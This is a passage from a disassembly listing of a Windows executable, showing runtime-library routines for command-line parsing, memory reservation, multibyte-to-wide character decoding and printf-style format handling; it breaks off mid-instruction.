--------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409930 proc near ; CODE XREF: sub_407B60+A3p push ebx call dword_411D90 mov ebx, eax cmp byte ptr [ebx], 22h jnz short loc_409954 loc_40993E: ; CODE XREF: sub_409930+19j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_40994B cmp byte ptr [ebx], 0 jnz short loc_40993E loc_40994B: ; CODE XREF: sub_409930+14j cmp byte ptr [ebx], 22h jnz short loc_40995C inc ebx jmp short loc_40995C ; --------------------------------------------------------------------------- loc_409953: ; CODE XREF: sub_409930+27j inc ebx loc_409954: ; CODE XREF: sub_409930+Cj cmp byte ptr [ebx], 20h ja short loc_409953 jmp short loc_40995C ; --------------------------------------------------------------------------- loc_40995B: ; CODE XREF: sub_409930+34j inc ebx loc_40995C: ; CODE XREF: sub_409930+1Ej ; sub_409930+21j ... mov al, [ebx] test al, al jz short loc_409966 cmp al, 20h jbe short loc_40995B loc_409966: ; CODE XREF: sub_409930+30j mov eax, ebx pop ebx retn sub_409930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409970 proc near ; CODE XREF: sub_407C90+21p var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_4117D8, 0 jnz short loc_4099A3 push 1 push 2000h mov eax, dword_4117DC push eax push 0 call dword_411E00 mov dword_4117D8, eax test eax, eax jz short loc_409A06 loc_4099A3: ; CODE XREF: sub_409970+13j push 1Ch lea eax, [ebp+var_1C] push eax mov eax, dword_4117D8 push eax call dword_411E04 test eax, eax jz short loc_409A06 cmp [ebp+var_C], 1000h jnz short loc_4099D0 mov eax, [ebp+var_10] mov edx, dword_4117D8 lea edi, [edx+eax] jmp short loc_4099D6 ; --------------------------------------------------------------------------- loc_4099D0: ; CODE XREF: sub_409970+50j mov edi, dword_4117D8 loc_4099D6: ; CODE XREF: sub_409970+5Ej mov esi, edi lea eax, [esi+ebx] mov edx, dword_4117DC mov ecx, dword_4117D8 add edx, ecx cmp eax, edx jb short loc_4099F1 xor eax, eax jmp short loc_409A06 ; --------------------------------------------------------------------------- loc_4099F1: ; CODE XREF: sub_409970+7Bj push 4 push 1000h push ebx push esi call dword_411E00 test eax, eax jz short loc_409A06 mov eax, esi loc_409A06: ; CODE XREF: sub_409970+31j ; sub_409970+47j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_409970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A10 proc near ; CODE XREF: sub_4088A0+44p var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx mov eax, [ebp+arg_C] movzx eax, word ptr [eax+6] mov [ebp+var_3], al mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_C] mov eax, [eax] mov [ebp+var_2], ax cmp off_411924, 0 jnz loc_409B8B cmp [ebp+arg_4], 0 jnz short loc_409A5E mov eax, [ebp+arg_C] mov ecx, dword_40FB78 mov ebx, dword_40FB7C mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_409CEA ; --------------------------------------------------------------------------- loc_409A5E: ; CODE XREF: sub_409A10+31j ; sub_409A10+176j cmp [ebp+arg_8], 0 jnz short loc_409A82 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_409CEA ; --------------------------------------------------------------------------- loc_409A82: ; CODE XREF: sub_409A10+52j cmp [ebp+var_3], 0 jbe short loc_409AC9 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0C0h cmp eax, 80h jz short loc_409AAD call sub_408460 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_409CEA ; --------------------------------------------------------------------------- loc_409AAD: ; CODE XREF: sub_409A10+88j movzx eax, [ebp+var_2] shl eax, 6 mov edx, [ebp+var_8] movzx edx, byte ptr [edx] and edx, 3Fh or eax, edx mov [ebp+var_2], ax sub [ebp+var_3], 1 jmp short loc_409B3A ; --------------------------------------------------------------------------- loc_409AC9: ; CODE XREF: sub_409A10+76j mov eax, [ebp+var_8] test byte ptr [eax], 80h jnz short loc_409ADD mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov [ebp+var_2], ax jmp short loc_409B3A ; --------------------------------------------------------------------------- loc_409ADD: ; CODE XREF: sub_409A10+BFj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0E0h cmp eax, 0C0h jnz short loc_409B02 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 1Fh mov [ebp+var_2], ax mov [ebp+var_3], 1 jmp short loc_409B3A ; --------------------------------------------------------------------------- loc_409B02: ; CODE XREF: sub_409A10+DDj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0F0h cmp eax, 0E0h jnz short loc_409B27 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0Fh mov [ebp+var_2], ax mov [ebp+var_3], 2 jmp short loc_409B3A ; --------------------------------------------------------------------------- loc_409B27: ; CODE XREF: sub_409A10+102j call sub_408460 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_409CEA ; --------------------------------------------------------------------------- loc_409B3A: ; CODE XREF: sub_409A10+B7j ; sub_409A10+CBj ... cmp [ebp+var_3], 0 jnz short loc_409B80 cmp [ebp+arg_0], 0 jz short loc_409B50 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_409B50: ; CODE XREF: sub_409A10+134j mov edx, [ebp+arg_C] mov word ptr [edx+6], 0 cmp [ebp+var_2], 0 jnz short loc_409B69 mov [ebp+var_C], 0 jmp short loc_409B78 ; --------------------------------------------------------------------------- loc_409B69: ; CODE XREF: sub_409A10+14Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_C], eax loc_409B78: ; CODE XREF: sub_409A10+157j mov eax, [ebp+var_C] jmp loc_409CEA ; --------------------------------------------------------------------------- loc_409B80: ; CODE XREF: sub_409A10+12Ej inc [ebp+var_8] dec [ebp+arg_8] jmp loc_409A5E ; --------------------------------------------------------------------------- loc_409B8B: ; CODE XREF: sub_409A10+27j mov [ebp+var_C], 0 cmp [ebp+arg_4], 0 jnz short loc_409BBE mov eax, [ebp+arg_C] mov ecx, dword_40FB78 mov ebx, dword_40FB7C mov [eax], ecx mov [eax+4], ebx mov eax, off_411924 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_409CEA ; --------------------------------------------------------------------------- loc_409BBE: ; CODE XREF: sub_409A10+186j ; sub_409A10+292j cmp [ebp+arg_8], 0 jnz short loc_409BE2 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_409CEA ; --------------------------------------------------------------------------- loc_409BE2: ; CODE XREF: sub_409A10+1B2j mov al, [ebp+var_3] cmp al, 10h jnb short loc_409C1E movzx eax, al mov eax, off_411924[eax*4] mov [ebp+var_14], eax test eax, eax jz short loc_409C1E mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_409C1E mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov edx, [ebp+var_14] mov ax, [edx+eax*2] mov [ebp+var_E], ax test ax, ax jnz short loc_409C31 loc_409C1E: ; CODE XREF: sub_409A10+1D7j ; sub_409A10+1E8j ... call sub_408460 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_409CEA ; --------------------------------------------------------------------------- loc_409C31: ; CODE XREF: sub_409A10+20Cj movzx eax, [ebp+var_E] mov edx, eax and edx, 0F00h sar edx, 8 mov [ebp+var_3], dl test eax, 8000h jz short loc_409C5D movzx eax, [ebp+var_2] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_E] or eax, edx mov [ebp+var_2], ax loc_409C5D: ; CODE XREF: sub_409A10+238j test [ebp+var_E], 1000h jz short loc_409C7F movzx eax, [ebp+var_2] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+var_2], ax loc_409C7F: ; CODE XREF: sub_409A10+253j test [ebp+var_E], 4000h jz short loc_409C9C mov eax, [ebp+var_8] cmp byte ptr [eax], 0 jz short loc_409C9C inc [ebp+var_8] dec [ebp+arg_8] mov [ebp+var_C], 0 loc_409C9C: ; CODE XREF: sub_409A10+275j ; sub_409A10+27Dj test [ebp+var_E], 2000h jz loc_409BBE cmp [ebp+arg_0], 0 jz short loc_409CB8 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_409CB8: ; CODE XREF: sub_409A10+29Cj mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax cmp [ebp+var_2], 0 jnz short loc_409CDC mov [ebp+var_18], 0 jmp short loc_409CE7 ; --------------------------------------------------------------------------- loc_409CDC: ; CODE XREF: sub_409A10+2C1j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_18], eax loc_409CE7: ; CODE XREF: sub_409A10+2CAj mov eax, [ebp+var_18] loc_409CEA: ; CODE XREF: sub_409A10+49j ; sub_409A10+6Dj ... pop ebx mov esp, ebp pop ebp retn sub_409A10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CF0 proc near ; CODE XREF: sub_4088A0+243p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = qword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx movzx eax, [ebp+arg_8] mov [ebp+var_4], eax cmp eax, 41h jl short loc_409D0F cmp eax, 47h jg short loc_409D1E jmp dword_40FC80[eax*4] ; --------------------------------------------------------------------------- loc_409D0F: ; CODE XREF: sub_409CF0+11j cmp [ebp+var_4], 25h jz loc_40A3E2 jmp loc_40A3F7 ; --------------------------------------------------------------------------- loc_409D1E: ; CODE XREF: sub_409CF0+16j mov eax, [ebp+var_4] cmp eax, 58h jz loc_409F53 jl loc_40A3F7 mov eax, [ebp+var_4] cmp eax, 61h jl loc_40A3F7 cmp eax, 78h jg loc_40A3F7 jmp dword_40FC1C[eax*4] ; --------------------------------------------------------------------------- loc_409D4C: ; DATA XREF: DMN0:0040FDA8o mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz short loc_409D79 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_4] mov ecx, [eax] add ecx, 4 mov [eax], ecx mov eax, [ebp+arg_C] mov ecx, [ecx-4] mov [eax+edx], cl jmp loc_40A422 ; --------------------------------------------------------------------------- loc_409D79: ; CODE XREF: sub_409CF0+63j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov [ebp+var_6], ax mov [ebp+var_A], ax mov [ebp+var_8], 0 mov edx, [ebp+arg_0] or dword ptr [edx+2Ch], 0FFFFFFFFh lea eax, [ebp+var_A] push eax mov eax, [ebp+arg_0] push eax call sub_40AF70 add esp, 8 test eax, eax jge loc_40A422 or eax, 0FFFFFFFFh jmp loc_40A424 ; --------------------------------------------------------------------------- loc_409DBB: ; DATA XREF: DMN0:0040FDACo ; DMN0:0040FDC0o mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_409DE0 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_409E54 ; --------------------------------------------------------------------------- loc_409DE0: ; CODE XREF: sub_409CF0+D2j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_409E01 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_409E48 ; --------------------------------------------------------------------------- loc_409E01: ; CODE XREF: sub_409CF0+F7j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_409E22 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_409E3C ; --------------------------------------------------------------------------- loc_409E22: ; CODE XREF: sub_409CF0+118j mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_409E3C: ; CODE XREF: sub_409CF0+130j mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_409E48: ; CODE XREF: sub_409CF0+10Fj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_409E54: ; CODE XREF: sub_409CF0+EEj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_409E84 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dx, cx movsx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_409ECA ; --------------------------------------------------------------------------- loc_409E84: ; CODE XREF: sub_409CF0+176j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_409EA8 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dl, cl movsx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_409ECA ; --------------------------------------------------------------------------- loc_409EA8: ; CODE XREF: sub_409CF0+19Bj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_409EB6 cmp al, 7Ah jnz short loc_409ECA loc_409EB6: ; CODE XREF: sub_409CF0+1C0j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx loc_409ECA: ; CODE XREF: sub_409CF0+192j ; sub_409CF0+1B6j ... mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_409EF1 jl short loc_409EDC test eax, eax jnb short loc_409EF1 loc_409EDC: ; CODE XREF: sub_409CF0+1E6j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_409F2F ; --------------------------------------------------------------------------- loc_409EF1: ; CODE XREF: sub_409CF0+1E4j ; sub_409CF0+1EAj mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_409F11 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_409F2F ; --------------------------------------------------------------------------- loc_409F11: ; CODE XREF: sub_409CF0+20Aj mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_409F2F mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_409F2F: ; CODE XREF: sub_409CF0+1FFj ; sub_409CF0+21Fj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_40B0C0 add esp, 8 jmp loc_40A422 ; --------------------------------------------------------------------------- loc_409F53: ; CODE XREF: sub_409CF0+34j ; DATA XREF: DMN0:0040FDD8o ... mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_409F75 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_409FE6 ; --------------------------------------------------------------------------- loc_409F75: ; CODE XREF: sub_409CF0+26Aj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_409F96 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_409FDA ; --------------------------------------------------------------------------- loc_409F96: ; CODE XREF: sub_409CF0+28Cj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_409FB7 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_409FCE ; --------------------------------------------------------------------------- loc_409FB7: ; CODE XREF: sub_409CF0+2ADj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_409FCE: ; CODE XREF: sub_409CF0+2C5j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_409FDA: ; CODE XREF: sub_409CF0+2A4j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_409FE6: ; CODE XREF: sub_409CF0+283j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_40A015 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_40A058 ; --------------------------------------------------------------------------- loc_40A015: ; CODE XREF: sub_409CF0+308j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_40A039 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_40A058 ; --------------------------------------------------------------------------- loc_40A039: ; CODE XREF: sub_409CF0+32Cj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_40A047 cmp al, 7Ah jnz short loc_40A058 loc_40A047: ; CODE XREF: sub_409CF0+351j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx xor ebx, ebx mov [eax], ecx mov [eax+4], ebx loc_40A058: ; CODE XREF: sub_409CF0+323j ; sub_409CF0+347j ... mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_40A0A3 mov edx, [eax+4] mov eax, [eax] test edx, edx jnz short loc_40A070 test eax, eax jz short loc_40A0A3 loc_40A070: ; CODE XREF: sub_409CF0+37Aj mov al, [ebp+arg_8] cmp al, 78h jz short loc_40A07B cmp al, 58h jnz short loc_40A0A3 loc_40A07B: ; CODE XREF: sub_409CF0+385j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov cl, [ebp+arg_8] mov [eax+edx], cl loc_40A0A3: ; CODE XREF: sub_409CF0+371j ; sub_409CF0+37Ej ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_40B0C0 add esp, 8 jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A0C7: ; DATA XREF: DMN0:0040FD84o ; DMN0:0040FD94o ... mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 4Ch jnz short loc_40A0E2 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] jmp short loc_40A0F2 ; --------------------------------------------------------------------------- loc_40A0E2: ; CODE XREF: sub_409CF0+3DEj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] loc_40A0F2: ; CODE XREF: sub_409CF0+3F0j fld [ebp+var_20] fstp qword ptr [eax] mov eax, [ebp+arg_0] push eax call sub_40B300 pop ecx cmp ax, 2 jz short loc_40A165 mov eax, [ebp+arg_0] test word ptr [eax+6], 8000h jz short loc_40A127 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_40A165 ; --------------------------------------------------------------------------- loc_40A127: ; CODE XREF: sub_409CF0+420j mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_40A147 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_40A165 ; --------------------------------------------------------------------------- loc_40A147: ; CODE XREF: sub_409CF0+440j mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_40A165 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_40A165: ; CODE XREF: sub_409CF0+415j ; sub_409CF0+435j ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_40B310 add esp, 8 jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A189: ; DATA XREF: DMN0:0040FDD4o mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+3Ah] mov [ebp+var_24], eax cmp eax, 68h jz loc_40A272 cmp eax, 6Ah jz short loc_40A21A cmp eax, 6Ch jz loc_40A28D jg short loc_40A1B7 cmp [ebp+var_24], 62h jz short loc_40A1DC jmp loc_40A2A7 ; --------------------------------------------------------------------------- loc_40A1B7: ; CODE XREF: sub_409CF0+4BAj mov eax, [ebp+var_24] cmp eax, 71h jz short loc_40A1F6 cmp eax, 74h jz short loc_40A23E cmp eax, 71h jl loc_40A2A7 cmp [ebp+var_24], 7Ah jz loc_40A258 jmp loc_40A2A7 ; --------------------------------------------------------------------------- loc_40A1DC: ; CODE XREF: sub_409CF0+4C0j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], al jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A1F6: ; CODE XREF: sub_409CF0+4CDj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A21A: ; CODE XREF: sub_409CF0+4AFj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A23E: ; CODE XREF: sub_409CF0+4D2j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A258: ; CODE XREF: sub_409CF0+4E1j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A272: ; CODE XREF: sub_409CF0+4A6j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], ax jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A28D: ; CODE XREF: sub_409CF0+4B4j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A2A7: ; CODE XREF: sub_409CF0+4C2j ; sub_409CF0+4D7j ... mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A2C1: ; DATA XREF: DMN0:0040FDDCo mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [ebp+arg_0] mov edx, [edx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] xor ebx, ebx mov [eax], ecx mov [eax+4], ebx mov edx, [ebp+arg_0] mov dword ptr [edx+34h], 8 mov eax, [ebp+arg_0] or word ptr [eax+38h], 10h mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx push 78h mov eax, [ebp+arg_0] push eax call sub_40B0C0 add esp, 8 jmp loc_40A422 ; --------------------------------------------------------------------------- loc_40A31F: ; DATA XREF: DMN0:0040FDE8o mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz loc_40A3BF mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [ebp+var_2C], edx mov [eax], edx mov edx, [ebp+arg_0] mov eax, [ebp+var_2C] mov eax, [eax-4] mov [edx+10h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 0 jnz short loc_40A358 mov edx, [ebp+arg_0] mov dword ptr [edx+10h], offset dword_40FE00 loc_40A358: ; CODE XREF: sub_409CF0+65Cj mov eax, [ebp+arg_0] mov [ebp+var_38], eax cmp dword ptr [eax+2Ch], 0 jge short loc_40A379 mov edx, [ebp+arg_0] mov edx, [edx+10h] or eax, 0FFFFFFFFh loc_40A36D: ; CODE XREF: sub_409CF0+682j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_40A36D mov [ebp+var_30], eax jmp short loc_40A3B4 ; --------------------------------------------------------------------------- loc_40A379: ; CODE XREF: sub_409CF0+672j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] push edx push 0 mov eax, [eax+10h] push eax call sub_409060 add esp, 0Ch mov [ebp+var_28], eax test eax, eax jz short loc_40A3A5 mov eax, [ebp+var_28] mov edx, [ebp+arg_0] mov edx, [edx+10h] sub eax, edx mov [ebp+var_34], eax jmp short loc_40A3AE ; --------------------------------------------------------------------------- loc_40A3A5: ; CODE XREF: sub_409CF0+6A3j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+var_34], eax loc_40A3AE: ; CODE XREF: sub_409CF0+6B3j mov eax, [ebp+var_34] mov [ebp+var_30], eax loc_40A3B4: ; CODE XREF: sub_409CF0+687j mov eax, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+1Ch], eax jmp short loc_40A422 ; --------------------------------------------------------------------------- loc_40A3BF: ; CODE XREF: sub_409CF0+636j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] push eax mov eax, [ebp+arg_0] push eax call sub_40AF70 add esp, 8 test eax, eax jge short loc_40A422 or eax, 0FFFFFFFFh jmp short loc_40A424 ; --------------------------------------------------------------------------- loc_40A3E2: ; CODE XREF: sub_409CF0+23j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte 